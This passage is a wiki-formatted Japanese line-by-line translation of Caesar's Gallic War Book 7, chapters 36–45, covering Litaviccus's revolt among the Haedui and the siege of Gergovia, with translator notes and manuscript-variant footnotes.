*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; &lt;u&gt;(Tamen)&lt;/u&gt; silentio noctis Caesar ex castris egressus, 
**にもかかわらず（昼間ではなく）夜の静けさのうちに、カエサルは陣営から出撃して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：tamen については、上記を参照。）&lt;/span&gt;
*priusquam subsidio ex oppido veniri posset, 
**城塞都市（のそばの陣営）から援兵に来られるより前に、
*deiecto praesidio potitus loco duas ibi legiones conlocavit 
**守備隊を追い出して、地点を占拠して、そこに2個[[w:ローマ軍団|軍団]]を駐屯させた。
*fossamque duplicem duodenum pedum a maioribus castris ad minora perduxit, 
**12&lt;u&gt;ペース&lt;/u&gt;の二重の堀を、より大きな陣営から（この丘陵の）より小さな陣営へ至らしめた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、12ペースは約3.6メートル。）&lt;/span&gt;
*ut tuto ab repentino hostium incursu etiam singuli commeare possent.
**敵たちの不意の襲撃から安全に、1人1人が往来することができるように。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===37節===
'''ハエドゥイー族のコンウィクトリタウィスがガッリア同盟軍に内応する'''
*①　Dum haec ad [[w:la:Gergovia|Gergoviam]] geruntur, 
**これらがゲルゴウィアのところでなされている間に、
*Convictolitavis [[w:la:Haedui|Haeduus]], 
**[[w:ハエドゥイ族|ハエドゥイー族]]のコンウィクトリタウィスは、
*cui magistratum adiudicatum a Caesare demonstravimus, 
**その者はカエサルによって統領として承認されたと（[[#33節|33節]]で）既述したが、
*sollicitatus ab Arvernis pecunia cum quibusdam adulescentibus conloquitur, 
**[[w:アルウェルニ族|アルウェルニー族]]により金銭でそそのかされて、ある若者たちと談判した。
*quorum erat princeps Litaviccus atque eius fratres, 
**その者たちの領袖は[[w:リタウィックス|リタウィックス]]とその兄弟たちであり、
*amplissima familia nati adulescentes. 
**とても強大な一族に生まれた若者たちだった。
*②　Cum his praemium communicat 
**彼らとともに（アルウェルニー族からの）報酬を共有して、
*hortaturque, ut se liberos et imperio natos meminerint. 
**自分たちが自由民で支配層の生まれであるのを思い起こせ、と鼓舞した。
*③　Unam esse Haeduorum civitatem, quae certissimam Galliae victoriam distineat&lt;ref&gt;distineat はM･N･π･R写本などの記述で、Q･U写本などでは destineat 、A･B･S写本などでは dedistineat などとなっている。&lt;/ref&gt;; 
**ハエドゥイーの部族国家は、ガッリアの至極確実な勝利を阻んでいる唯一のものであり、
*eius auctoritate reliquas contineri; 
**その声望により、ほかの（同盟部族の）ものたちが（ローマ側に）保持されているが、
*qua traducta locum consistendi Romanis in Gallia non fore. 
**それが（ガッリア勢に）引き入れられることによって、ガッリアにおいてローマ人が留まり続ける場はないであろう。
*④　Esse nonnullo se Caesaris beneficio adfectum, 
**自分はカエサルの少なからぬ恩義をかけられているが、
*sic tamen, ut iustissimam apud eum causam obtinuerit; 
**しかし、彼（カエサル）のもとで至極合法的な理由を手に入れたまでであり、
*sed plus communi libertati tribuere. 
**しかし、（ガッリアの）共通の自由に従うことの方がより大きい。
*⑤　Cur enim potius Haedui de suo iure et de legibus ad Caesarem disceptatorem quam Romani ad Haeduos veniant? 
**なぜ実際、ハエドゥイー族は自らの法令や法制について、ローマ人がハエドゥイー族へ来るよりむしろ、カエサルを仲裁者とするのか？
*⑥　Celeriter adulescentibus et oratione magistratus et praemio deductis, 
**若者たちは速やかに、統領の演説と報酬によって導き入れられた。
*cum se vel principes eius consilii fore profiterentur, 
**自分たちがその謀計の首謀者にすらなろうと申し出たときに、
*ratio perficiendi quaerebatur, 
**（謀計を）成し遂げる方法が求められた。
*quod civitatem temere ad suscipiendum bellum adduci posse non confidebant. 
**というのは、部族がむやみに（ローマ人との）戦争実行へ動かされることができるとは確信していなかったからだ。
*⑦　Placuit, ut Litaviccus decem illis milibus, quae Caesari ad bellum mitterentur, praeficeretur atque ea ducenda curaret, 
**リタウィックスに、カエサルに戦争のために派遣されるあの（歩兵）1万名を指揮させ率いさせるのが良いとされた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：歩兵1万名については[[#34節|34節]]を参照。）&lt;/span&gt;
*fratresque eius ad Caesarem praecurrerent. 
**彼の兄弟たちは、カエサルのところへ先立って行った。
*Reliqua qua ratione agi placeat constituunt.
**残りのことが、どのようなやり方で行なわれるのが良いかが決められた。

===38節===
'''リタウィックスの鼓舞でハエドゥイー族の歩兵1万が挙兵する'''
*①　Litaviccus accepto exercitu 
**リタウィックスは（1万名の）歩兵隊を受け取って、
*cum milia passuum circiter XXX(triginta)&lt;ref&gt;XXX(triginta) はα系写本の記述で、β系写本では XL(quadraginta) となっている。&lt;/ref&gt; ab&lt;ref&gt;ab は写本(ω)の記述であるが、モイゼル（Henricus Meusel）は a を提案している。&lt;/ref&gt; [[w:la:Gergovia|Gergovia]] abesset, 
**[[w:ゲルゴウィア|ゲルゴウィア]]から約30[[w:ローママイル|ローママイル]]（＝45km弱）離れたところに来たときに、
*convocatis subito militibus lacrimans, 
**兵士たちを突然に呼び集めて、泣きながら、
*②　&quot;Quo proficiscimur,&quot; inquit, &quot;milites? 
**「兵士らよ、どこへ我々は進むのか？」と言った。
*Omnis noster equitatus, omnis nobilitas interiit; 
**「我が方（ハエドゥイー族）のすべての[[w:騎兵|騎兵隊]]とすべての高貴な者たちは滅んだ。
*principes civitatis, [[w:la:Eporedorix|Eporedorix]] et Viridomarus, 
**部族の領袖たち、エポレドリクスとウィリドマルスは、
*insimulati proditionis ab Romanis indicta causa interfecti sunt. 
**裏切りの罪を着せられて、ローマ人たちによって、弁解の余地なく殺されてしまったのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：indicta causa「弁解の余地なく」）&lt;/span&gt;
*③　Haec ab ipsis&lt;ref&gt;ipsis はα系写本の記述で、β系写本では his となっている。&lt;/ref&gt; cognoscite, qui ex ipsa caede fugerunt; 
**これは、その虐殺から逃げて来た当人たちから聞き知ってくれ。
*nam ego fratribus atque omnibus meis propinquis interfectis 
**なぜなら、私は、兄弟たちやすべての我が親族たちが殺されて
*dolore prohibeor, quae gesta sunt, pronuntiare.&quot; 
**悲嘆により、なされたことを物語ることを妨げられているからだ。」
*④　Producuntur hi&lt;ref&gt;hi はφ･β系写本の記述で、A写本では ii 、Q写本では hii となっている。&lt;/ref&gt;, quos ille edocuerat quae dici vellet, 
**彼（リタウィックス）が言って欲しいことを教え込んでいた者たちが連れ出されて来て、
*atque eadem, quae Litaviccus pronuntiaverat, multitudini exponunt: 
**リタウィックスが物語ったのと同じことを群衆に説明した。
*⑤　multos&lt;ref&gt;multos はα系写本の記述で、β系写本では omnes となっている。&lt;/ref&gt; equites [[w:la:Haedui|Haeduorum]] interfectos, quod conlocuti cum Arvernis dicerentur; 
**ハエドゥイー族の多くの騎兵たちは、アルウェルニー族と談判したと言われたので、殺された、と。
*ipsos se inter multitudinem militum occultasse atque ex media caede fugisse. 
**（彼ら）自身は、兵士ら多数の間に身を隠して、虐殺の最中から逃げて来たのだ、と。
*⑥　Conclamant Haedui et Litaviccum obsecrant, ut sibi consulat. 
**ハエドゥイー族の者たちは叫び声を上げて、リタウィックスに、自分たちに（どうするべきか）助言するように懇願した。
*&quot;Quasi vero&quot; inquit ille &quot;consilii sit res, ac non necesse sit 
**彼は言った「実にあたかも、事態が協議するべきというかのようだ。（協議する）必要はないのだ。
*nobis Gergoviam contendere et cum Arvernis nosmet coniungere. 
**我々にとって、ゲルゴウィアに急行して、アルウェルニー族と我々が合流することは。
*⑦　An dubitamus, quin nefario facinore admisso Romani iam ad nos interficiendos concurrant? 
**非道の悪行を犯したローマ人がもはや我々を殺戮するために襲いかかって来ることを疑うのかね？
*⑧　Proinde, si quid in nobis animi est, 
**それゆえに、もし我々に何らかの心構えがあるならば、
*persequamur eorum mortem, qui indignissime interierunt, 
**とても不面目に滅びた者たちの死に仇討ちしようではないか。
*atque hos latrones interficiamus.&quot; 
**かの略奪者たち（ローマ人）を誅殺しようではないか。」
*Ostendit cives Romanos, qui eius praesidii fiducia una erant&lt;ref&gt;erant は写本(ω)の記述であるが、モムゼン（Mommsen）らは ierant を提案している。&lt;/ref&gt;: 
**（リタウィックスは）彼の護衛を信頼して一緒にいたローマ市民たちを示した。
*⑨　Continuo&lt;ref&gt;Continuo はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; magnum numerum frumenti commeatusque diripit, 
**ただちに、（ローマ市民たちの）糧食や必需品の多数を略奪して、
*ipsos crudeliter excruciatos interficit. 
**当人たちを残酷に拷問して殺した。
*⑩　Nuntios tota civitate Haeduorum dimittit, 
**ハエドゥイー族の伝令たちを、部族全体にわたって遣わして、
*in&lt;ref&gt;in はβ系写本の記述だが、α系写本にはない。&lt;/ref&gt; eodem mendacio de caede equitum et principum permovet&lt;ref&gt;permovet はL･N写本の記述だが、B写本では permanet 、χ･M･S･β系写本などでは permonet となっている。&lt;/ref&gt;; 
**騎兵や領袖たちの虐殺について、同じ嘘によって扇動した。
*hortatur ut simili ratione atque ipse fecerit suas iniurias persequantur.
**（リタウィックス）自身がしたのと同様のやり方で、自分たちの（受けた）無法に仇討ちするようにと鼓舞した。

===39節===
'''エポレドリクスがハエドゥイー勢1万の寝返りをカエサルに知らせる'''
*①　[[w:la:Eporedorix|Eporedorix]] [[w:la:Haedui|Haeduus]], summo loco natus adulescens et summae domi potentiae, 
**[[w:ハエドゥイ族|ハエドゥイー族]]の[[w:エポレドリクス|エポレドリクス]]は、最高の身分に生まれた青年で、本国で最高の権勢にあった。
*et una Viridomarus, pari aetate et gratia, sed genere dispari, 
**とともに、[[w:ウィリドマルス|ウィリドマルス]]も、同じ年輩で、同様に敬意を受けていたが、異なる階級であった。
*quem Caesar ab Diviciaco sibi traditum ex humili loco ad summam dignitatem perduxerat, 
**カエサルは彼を[[w:ディウィキアクス|ディウィキアクス]]により託されて、低い身分から最高の地位へと引き立てていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ディウィキアクスはかつてローマに援助を求めた有力者で、カエサルに殺されたドゥムノリクスの兄弟。）&lt;/span&gt;
*in equitum numero convenerant nominatim ab eo evocati. 
**（その2人は）彼（カエサル）から名指しで呼び出されて、[[w:騎兵|騎兵]]として（ローマの陣中に）一緒に来ていた。
*②　His erat inter se de principatu contentio 
**彼ら（2人）には、互いに指揮官の座についての競争があって、
*et in illa magistratuum controversia 
**あの統領をめぐる紛争においても
**:&lt;span style=&quot;color:#009900;&quot;&gt;（[[#32節|32節]]～33節を参照。）&lt;/span&gt;
*alter pro Convictolitavi, alter pro Coto summis opibus pugnaverant&lt;ref&gt;pugnaverant はα系写本の記述で、β系写本では pugnaverat となっている。&lt;/ref&gt;. 
**一方は[[w:コンウィクトリタウィス|コンウィクトリタウィス]]のために、他方は[[w:コトゥス|コトゥス]]のために、最大限の助力で奮闘していた。
*③　Ex his Eporedorix cognito Litavicci consilio 
**彼らのうちエポレドリクスが[[w:リタウィックス|リタウィックス]]の謀計を知って、
*media fere nocte rem ad Caesarem defert; 
**ほぼ真夜中に、事情をカエサルのところへ報知した。
*orat ne patiatur civitatem pravis adulescentium consiliis ab amicitia populi Romani deficere; 
**（ハエドゥイーの）部族が青年たちのゆがんだ謀計によってローマ人民の友好から背くことを容認しないように懇願した。
*quod futurum provideat, si se tot hominum milia cum hostibus coniunxerint, 
**もし、このように多くの幾千もの同胞が敵たちと協同するならば、（上記の）ことが生じると用心するように、と。
*quorum salutem neque propinqui neglegere, 
**（寝返った1万の歩兵たちの）縁者たちは彼らの身の安全をなおざりにすることはないし、
*neque civitas levi momento aestimare posset.
**部族が（寝返った歩兵たちの）影響力を軽く評価できない、と。

===40節===
'''カエサルが4個軍団を率いてハエドゥイー勢1万を制止し、リタウィックスは逃亡'''
*①　Magna adfectus sollicitudine hoc nuntio Caesar, 
**この知らせにより、大きな不安を感じたカエサルは、
*quod semper [[w:la:Haedui|Haeduorum]] civitati praecipue indulserat, 
**常に[[w:ハエドゥイ族|ハエドゥイーの部族]]にとくに気遣っていたので、
*nulla interposita dubitatione legiones expeditas quattuor equitatumque omnem ex castris educit; 
**何らためらいを差しはさまずに、戦備を整えた4個[[w:ローマ軍団|軍団]]と[[w:騎兵|騎兵隊]]すべてを陣営から進発させた。
*②　nec fuit spatium tali tempore ad contrahenda castra, 
**このような情勢で、陣営を縮小するための余地はなかった。
**:&lt;span style=&quot;color:#009900;&quot;&gt;　（訳注：[[#36節|36節]]で、カエサルはゲルゴウィアの大きな陣営および敵に近い小さな陣営を6個軍団で守っていた。）&lt;/span&gt;
*quod res posita in celeritate videbatur; 
**というのは、事態は迅速さにかかっていると思われたからだ。
*C.(Gaium) Fabium legatum cum legionibus duabus castris praesidio relinquit. 
**総督副官[[w:ガイウス・ファビウス|ガイウス・ファビウス]]を2個軍団とともに陣営の守備に残しておいた。
*③　Fratres Litavicci cum comprehendi iussisset, 
**（カエサルは）リタウィックスの兄弟たちを拘束することを命じていたのだが、
*paulo ante reperit ad hostes fugisse. 
**少し前に（ゲルゴウィアの）敵たちのところへ去ったことを探り出した。
*④　Adhortatus milites ne necessario tempore itineris labore permoveantur, 
**（カエサルは）緊急の時に、行軍の労苦により乱されないように、兵士たちを激励して、
*cupidissimis omnibus progressus milia passuum [[w:la:Viginti quinque|XXV]] agmen Haeduorum conspicatus&lt;ref&gt;conspicatus はα系写本の記述で、β系写本では conspicatur となっている。&lt;/ref&gt; 
**皆がとても熱中していたので、25[[w:|ローママイル]]（約37km）進んで、ハエドゥイー族の隊列を視認した。
*immisso equitatu iter eorum moratur atque impedit 
**騎兵隊を突進させて、彼ら（ハエドゥイー勢）の行軍を妨げて、停止させた。
*interdicitque omnibus ne quemquam interficiant. 
**（ハエドゥイー勢を）誰一人殺さないように（ローマ勢の）皆に禁じた。
*⑤　[[w:la:Eporedorix|Eporedorigem]] et Viridomarum, quos illi interfectos existimabant, 
**彼ら（ハエドゥイー勢）が、殺されたものと考えていた者たち、[[w:エポレドリクス|エポレドリクス]]と[[w:ウィリドマルス|ウィリドマルス]]に、
*inter equites versari suosque appellare iubet. 
**（ハエドゥイー勢の）騎兵たちの間を歩き回って、味方に呼びかけることを命じた。
*⑥　His cognitis et Litavicci fraude perspecta Haedui manus tendere, 
**彼ら（2人）に気付いて、リタウィックスのごまかしを見通して、ハエドゥイー族の者たちは手を差し出して、
*deditionem significare et proiectis armis mortem deprecari incipiunt. 
**降伏の意を表して、武器を投げ出して、死を赦免されることを求め始めた。
*⑦　Litaviccus cum suis clientibus, 
**[[w:リタウィックス|リタウィックス]]は、配下の子分たちとともに、
*quibus more Gallorum nefas est etiam in extrema fortuna deserere patronos, 
**ガッリア人の風習では、最悪の境遇にあってさえも（子分が自分の）親分を見捨てることは非道であったので、
*[[w:la:Gergovia|Gergoviam]] profugit.
**（親分・子分ともども）[[w:ゲルゴウィア|ゲルゴウィア]]に逃れた。

===41節===
'''副官ファビウスの報告：ゲルゴウィアの敵勢がローマ陣営に襲来'''
*①　Caesar nuntiis ad civitatem [[w:la:Haedui|Haeduorum]] missis, 
**カエサルは伝令たちを[[w:ハエドゥイ族|ハエドゥイー]]の部族（当局）に遣わして、
*qui suo beneficio conservatos docerent quos iure belli interficere potuisset, 
**彼ら（伝令）に、戦時の権限により殺せた者たち（歩兵1万）は（カエサル）自らの恩恵により許されたのだ、と説かせた。
*tribusque horis noctis exercitui ad quietem datis castra ad [[w:la:Gergovia|Gergoviam]] movit. 
**（カエサルは）夜の3時間を軍隊に休息のために与えて、陣営を引き払ってゲルゴウィアの方へ向かった。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：古代ローマの不定時法では、夏季の夜の3時間は、現在の定時法の3時間よりかなり短い。）&lt;/span&gt;
*②　Medio fere itinere equites a Fabio missi, 
**（ゲルゴウィアへの）道程のほぼ中間のところで、ファビウスから[[w:騎兵|騎兵]]たちが遣わされて来て、
*quanto res in periculo fuerit, exponunt. 
**事態がどれほどの危機にあるか、を打ち明けた。
*Summis copiis castra oppugnata demonstrant, 
**（ガッリア勢の）最大級の軍勢により（ローマ勢の）陣営が攻撃された、と説明した。
*cum crebro integri defessis succederent 
**そのときに（ガッリア勢は）たびたび新たな者たちが疲労した者たちに交代していたが、
*nostrosque adsiduo labore defatigarent, 
**我が方（ローマ勢）は絶え間ない労苦により疲れ果てていた。
*quibus propter magnitudinem castrorum perpetuo esset isdem in vallo permanendum. 
**彼ら（ローマ勢）にとり、陣営の大きさのために、同じ者たちが防柵の中に留まらざるを得なかった。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルは[[#40節|40節]]②項で「陣営を縮小するための余地はなかった」とあらかじめ弁解している。）&lt;/span&gt;
*③　Multitudine sagittarum atque omnis generis&lt;ref&gt;omnis generis はα系写本の記述で、β系写本では omni genere となっている。&lt;/ref&gt; telorum multos vulneratos; 
**（ガッリア勢からの）矢の多数と飛び道具のあらゆる類いによって（ローマ勢の）多くのものが傷つけられた。
*ad haec sustinenda magno usui fuisse tormenta. 
**これに持ちこたえるために、投石器が大いに役立った。
*④　Fabium discessu eorum duabus relictis portis obstruere ceteras 
**ファビウスは、彼ら（ガッリア勢）が退却すると、2つの門を残して、ほか（の門）を閉鎖した。
*pluteosque vallo addere et se in posterum diem similemque casum apparare&lt;ref&gt;similemque casum apparare はα系写本の記述で、β系写本では similem ad casum parare となっている。&lt;/ref&gt;. 
**胸壁を防柵を付け加えて、翌日における似たような状況に備えた。
*⑤　His rebus cognitis Caesar 
**これらの事態を知って、カエサルは、
*summo studio militum ante ortum solis in castra pervenit.
**兵士たちの最大級の努力によって、日の出の前に（ゲルゴウィアの）陣営に到着した。

===42節===
'''ハエドゥイー族の者たちが反ローマ暴動を引き起こす'''
*①　Dum haec ad [[w:la:Gergovia|Gergoviam]] geruntur, 
**これらがゲルゴウィアの辺りでなされている間に、
*[[w:la:Haedui|Haedui]] primis nuntiis ab Litavicco acceptis 
**[[w:ハエドゥイ族|ハエドゥイー族]]の者たちは、[[w:リタウィックス|リタウィックス]]からの最初の知らせを受け取ったが、
*nullum sibi ad cognoscendum spatium relinquunt. 
**自分たちには（この知らせを）調べるための余地を何ら残さなかった。
*②　Impellit alios avaritia, alios iracundia et temeritas 
**ある者たちを貪欲さが、ある者たちを激しやすさや無分別が駆り立てた。
*─ quae maxime illi hominum generi est innata ─ ut levem auditionem habeant pro re comperta. 
**あの種族の人々はとりわけ、軽率な風聞を確認された事として見なすように、生まれついているのだ。
*③　Bona civium Romanorum diripiunt, caedes faciunt, in servitutem abstrahunt. 
**（ハエドゥイー族の者たちは）ローマ市民たちの財産を略奪し、殺戮を行なって、隷属状態に引きずり込んだ。
*④　Adiuvat rem proclinatam Convictolitavis 
**（さらに）傾いた事態を[[w:コンウィクトリタウィス|コンウィクトリタウィス]]が助長して、
*plebemque ad furorem impellit, ut facinore admisso ad sanitatem reverti pudeat. 
**民衆を狂暴さへと、悪行を犯して冷静さへ引き返すことを恥と思うように、駆り立てた。
*⑤　M.(Marcum) Aristium tribunum militum iter ad legionem facientem 
**&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;であるマルクス・アリスティウスが[[w:ローマ軍団|軍団]]のところへ旅しているところを
*fide data ex oppido [[w:la:Cabillonum|Cavillono]] educunt; 
**（安全の）保証を与えて、城塞都市カウィッロヌムから連れ出した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カウィッロヌム Cavillonum はカビッロヌム Cabillonum とも綴り、現在の[[w:シャロン＝スュル＝ソーヌ|シャロン＝スュル＝ソーヌ]]）&lt;/span&gt;
*idem facere cogunt eos, qui negotiandi causa ibi constiterant. 
**そこに商売をするために定住していた（ローマ人の）者たちにも同じことをするように強要した。
*⑥　Hos continuo &lt;in&gt;&lt;ref&gt;in は写本にないが、近世の活字本から挿入されている。&lt;/ref&gt; itinere adorti omnibus impedimentis exuunt; 
**直ちに彼らを途中で襲撃して、すべての手荷物を奪い取った。
*repugnantes diem noctemque obsident; 
**抵抗する者たちを昼夜にわたって包囲した。
*multis utrimque interfectis 
**（ハエドゥイー族とローマ人の）双方とも多くの者たちが殺されて、
*maiorem multitudinem armatorum&lt;ref&gt;armatorum はα系写本の記述で、β系写本では ad arma となっている。&lt;/ref&gt; concitant.
**（ハエドゥイー族の）より多くの群衆を武装へと扇動した。

===43節===
'''ハエドゥイー族当局がカエサルに屈服。ガッリア大動乱の予感'''
*①　Interim nuntio adlato omnes eorum milites in potestate Caesaris teneri, 
**その間に、彼ら（ハエドゥイー族）の兵士すべてがカエサルの権力下で支配されているという知らせがもたらされて、
*concurrunt ad Aristium, 
**（ハエドゥイー族当局の者たちは）アリスティウスのところへ急ぎ集まって、
*nihil publico factum consilio demonstrant; 
**（ローマ市民に対する襲撃は）何ら公けに企てがなされたものではないと説明した。
*②　quaestionem de bonis direptis decernunt, 
**（部族当局は、ローマ市民から）略奪された財産についての究明を決定して、
*Litavicci fratrumque bona publicant, 
**リタウィックスと兄弟たちの財産を没収し、
*legatos ad Caesarem sui purgandi gratia mittunt. 
**カエサルのところへ使節たちを、自分たちを赦免することのために遣わした。
*③　Haec faciunt reciperandorum&lt;ref&gt;reciperandorum はα系写本の記述で、β系写本では recuperandorum となっている。&lt;/ref&gt; suorum causa; 
**これらを、配下の者たち（＝歩兵1万名）を取り戻すために行なったのだ。
*sed contaminati facinore et capti compendio ex direptis bonis, 
**しかし（彼らは）悪行に汚染されていて、略奪した財産の利得にとらわれており、
*quod ea res ad multos pertinebat, timore&lt;ref&gt;timore はα系写本の記述で、β系写本では et timore となっている。&lt;/ref&gt; poenae exterriti 
**その事に多くの者たちが関与していたので、懲罰の恐れに脅かされて、
*consilia clam de bello inire incipiunt 
**ひそかに戦争の謀計に取りかかり始めて、
*civitatesque reliquas legationibus sollicitant. 
**ほかの諸部族を使節派遣によって、そそのかした。
*④　Quae tametsi Caesar intellegebat, tamen quam mitissime potest legatos appellat; 
**カエサルはそのようなことを認識していたけれども、（ハエドゥイー族の）使節たちにできるだけ平静に話しかけた。
*nihil se propter inscientiam levitatemque vulgi gravius de civitate iudicare 
**自分は（ハエドゥイー族の）民衆の無知や軽率さのために、部族を何ら厳重に裁断することはない、と。
*neque de sua in [[w:la:Haedui|Haeduos]] benevolentia deminuere. 
**自分のハエドゥイー族に対する好意を減ずることはない、と。
*⑤　Ipse maiorem Galliae motum exspectans, 
**（カエサル）自身は、ガッリアのより大きな動乱を予期しており、
*ne ab omnibus civitatibus circumsisteretur, 
**すべての部族によって包囲されることがないように、
*consilia inibat, quemadmodum ab&lt;ref&gt;ab はχ系写本の記述で、φ系写本では a となっており、β系写本にはない。&lt;/ref&gt; [[w:la:Gergovia|Gergovia]] discederet ac rursus omnem exercitum contraheret, 
**どのようにゲルゴウィアから撤退して再び軍隊全体を集結するか、策定に取りかかった。
*ne profectio nata ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; timore defectionis similis&lt;ref&gt;similis はα系写本の記述で、β系写本では similisque となっている。&lt;/ref&gt; fugae videretur.
**（諸部族の）背反の恐れから生じた出発が、逃亡同然と見られないように。

===44節===
'''ゲルゴウィアの急所の尾根'''
[[画像:Plateau_of_Gergovia.jpg|thumb|center|900px|ゲルゴウィア（[[w:la:Gergovia|Gergovia]]）すなわち現在のジェルゴヴィ高地（[[w:fr:Plateau de Gergovie|Plateau de Gergovie]]）の全景（南方のル・クレスト [[w:fr:Le Crest|Le Crest]] から撮影）。&lt;br&gt;画像中央の右下に、ローマ勢が占領して小さい方の陣営を築いていたと推定されているラ・ロシュ＝ブランシュ（[[w:fr:La Roche-Blanche (Puy-de-Dôme)|La Roche-Blanche]]）の丘陵が見える。&lt;br&gt;本節①項で言及されているのは画像の左端に写る丘陵と思われ、尾根伝いにほぼ平坦なゲルゴウィアの山頂（画像中央）に続いている。&lt;br&gt;これらの位置関係の推定は、19世紀の[[w:ウジェーヌ・ストッフェル|ウジェーヌ・ストッフェル]]大佐（colonel Eugène Stoffel）の発掘調査に依拠したものである。]]
[[画像:La_Roche_Blanche.JPG|thumb|right|300px|ローマ勢が占領して小さい方の陣営を築いていたと推定されているラ・ロシュ＝ブランシュ（[[w:fr:La Roche-Blanche (Puy-de-Dôme)|La Roche-Blanche]]）の丘陵]]

*①　Haec cogitanti accidere visa est facultas bene rei gerendae&lt;ref&gt;rei gerendae はα系写本の記述で、β系写本では gerendae rei となっている。&lt;/ref&gt;. 
**（カエサルが）これらを考慮しているときに、事をうまく行なえる可能性が生じたと思われた。
*Nam cum in minora castra operis perspiciendi causa venisset, 
**すなわち、（ローマ勢の）小さい方の陣営に、作業を視察するためにやって来たときに、
*animadvertit collem qui ab hostibus tenebatur nudatum hominibus, 
**敵たちによって占められていた丘陵が、無人にされているのに気付いた。
*qui superioribus diebus vix prae multitudine cerni poterat. 
**それは、前日には、（ガッリア勢の）大勢の者たちのためにほとんど見分けが付けられないものだった。
*②　Admiratus quaerit ex perfugis causam, 
**（カエサルは）驚いて、（ゲルゴウィアからの）[[w:脱走兵|脱走兵]]たちに理由を尋ねた。
*quorum magnus ad eum cotidie numerus confluebat. 
**その者たちの多数は、毎日、彼（カエサル）のところへ群がり集まっていたのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#14節|14節]]⑨項で既述のように、ガッリア勢は[[w:兵役逃れ|兵役忌避]]の多さに悩まされていた。）&lt;/span&gt;
*③　Constabat inter omnes 
**（脱走兵たち）皆の間では同じ意見であった。
*─ quod iam ipse Caesar per exploratores cognoverat ─ 
**─ すでにカエサル自身が偵察者たちを通して知っていたことであったが ─
*dorsum esse eius iugi prope aequum, sed silvestre&lt;ref&gt;silvestre はβ系写本の記述で、α系写本では hunc silvestrem となっている。&lt;/ref&gt; et angustum, 
**その尾根の背面はほぼ平地で、しかし森林におおわれて狭く、
*qua esset aditus ad alteram partem oppidi&lt;ref&gt;partem oppidi はα系写本の記述で、β系写本では oppidi partem となっている。&lt;/ref&gt;; 
**それによって城塞都市の別の方面への出入口となっている、と。
*④　vehementer huic illos loco&lt;ref&gt;vehementer huic illos loco はα系写本の記述で、β系写本では huic loco vehementer illos となっている。&lt;/ref&gt; timere nec iam aliter sentire, 
**この地帯を彼ら（ガッリア勢）が極度に恐れ、すでに感じていたことには、
*uno colle ab Romanis occupato, si alterum amisissent, 
**ローマ人によって一つの丘陵が占領されているので、もしもう一方をも失ったならば、
*quin paene circumvallati atque omni exitu et pabulatione interclusi viderentur; 
**（ゲルゴウィアが）ほとんど包囲されて、あらゆる出口と糧秣徴発を阻まれると思われたのである。
*ad hunc muniendum locum&lt;ref&gt;locum はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; omnes a [[w:la:Vercingetorix|Vercingetorige]] evocatos.
**この地帯の辺りを防御するために、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]により総勢が召集されていたのだ、と。

===45節===
'''ローマ勢の陽動部隊が敵を引き付け、本隊が敵の本陣を目指す'''
*①　Hac re cognita Caesar mittit complures equitum turmas eodem&lt;ref&gt;eodem はβ系写本の記述で、α系写本では eisdem などとなっており、またモイゼル（Meusel）は eo de と解釈している。&lt;/ref&gt; media nocte; 
**この事を知って、カエサルは多数の[[w:騎兵|騎兵]]&lt;ruby&gt;&lt;rb&gt;小隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥルマ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を同じところに真夜中に派遣した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;　（訳注：騎兵小隊 turma は、ローマの同盟部族などからなる騎兵の単位で、30騎ほどからなるとされている。）&lt;/span&gt;
*imperat his&lt;ref&gt;his はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; ut paulo tumultuosius omnibus locis vagarentur&lt;ref&gt;vagarentur はα系写本の記述で、β系写本では pervagentur となっている。&lt;/ref&gt;. 
**彼らには、いくらか騒々しく、あらゆる場所を動き回るように命令した。
*②　Prima luce magnum numerum impedimentorum ex castris mulorumque produci deque his stramenta detrahi 
**夜明けに、陣営から多数の荷馬や[[w:ラバ|ラバ]]を連れ出して、これらから[[w:鞍|荷鞍]]を取り去って、
*mulionesque cum cassidibus equitum specie ac simulatione collibus circumvehi iubet. 
**ラバ引きの者たちを鉄兜とともに、騎兵の外見と真似をさせて、丘々を乗り回すことを命じた。
*③　His paucos addit equites, qui latius ostentationis causa vagarentur&lt;ref&gt;vagarentur はα系写本の記述で、β系写本では vagentur となっている。&lt;/ref&gt;. 
**彼らに少数の騎兵を付き添わせて、より広く見せびらかすために動き回らせた。
*Longo circuitu easdem omnes iubet petere regiones. 
**（ラバ引きと騎兵の）皆には、長く迂回して、同じ一帯を目指すことを命じた。
*④　Haec procul ex oppido videbantur, ut erat a Gergovia despectus in castra, 
